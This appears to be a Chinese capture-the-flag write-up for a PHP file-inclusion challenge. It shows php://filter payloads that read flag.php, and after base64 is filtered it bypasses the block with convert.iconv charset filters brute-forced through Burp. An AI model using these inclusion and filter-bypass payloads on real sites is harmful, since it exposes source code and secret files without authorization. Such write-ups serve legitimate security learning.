WEB:file_include

背景知识

php伪协议

文件包含漏洞

php包含漏洞函数

题目

由题目可知这个是文件包含的题目,先用常用的协议先查看一下

payload

复制代码
?filename=php://filter/read=convert.base64-encode/resource=flag.php

出现了

发现filter,base64被过滤了

尝试其他协议

根据filter的绕过方法,可以使用iconv过滤器进行,这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

convery.iconv.*的使用有两种方法:

复制代码
convert.iconv.<input-encoding>.<output-encoding> 
convert.iconv.<input-encoding>/<output-encoding>

eg.convert.iconv.UCS-4*.UCS-4BE ---> 将指定的文件从UCS-4*转换为UCS-4BE 输出

这里并不清楚input-encoding和out-encoding具体是什么,可以简单猜想一下尝试,然后用bp抓包进行爆破

先设置尝试的payload

复制代码
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

设置目标

iconv支持的字符集有

复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

得到flag

参考学习链接:

【愚公系列】2023年05月 攻防世界-Web(file_include)-腾讯云开发者社区-腾讯云

攻防世界-泰山杯-简单的文件包含 -- ZZ的IT部落

相关推荐
IMPYLH2 分钟前
HTML 的 <abbr> 元素
前端·算法·html
李白的天不白25 分钟前
Tree-Shaking
前端
Csvn44 分钟前
TypeScript:你以为安全的 `JSON.parse` 其实是颗雷 — 运行时类型安全实战
前端·javascript
橘子星1 小时前
深入理解线性数据结构:栈、队列与链表
前端·javascript
dadaobusi1 小时前
Linux内核完成大量内存/调度/时间子系统初始化的关键阶段
java·linux·前端
用户059540174461 小时前
Redis 缓存过期不一致踩坑实录:一个 bug 让我排查了 3 小时,最终用 Pytest 自动化堵上漏洞
前端·css
东风破_1 小时前
AJAX 异步请求:从回调地狱到 async/await,到底解决了什么?
前端
Larcher1 小时前
JS 数据类型的八重人格与内存真相
前端·javascript
星辰徐哥1 小时前
工具推荐:HTML5+AI开发必备的前端调试工具
前端·人工智能·html5
Full Stack Developme1 小时前
Linux Shell 教程概览
linux·前端·chrome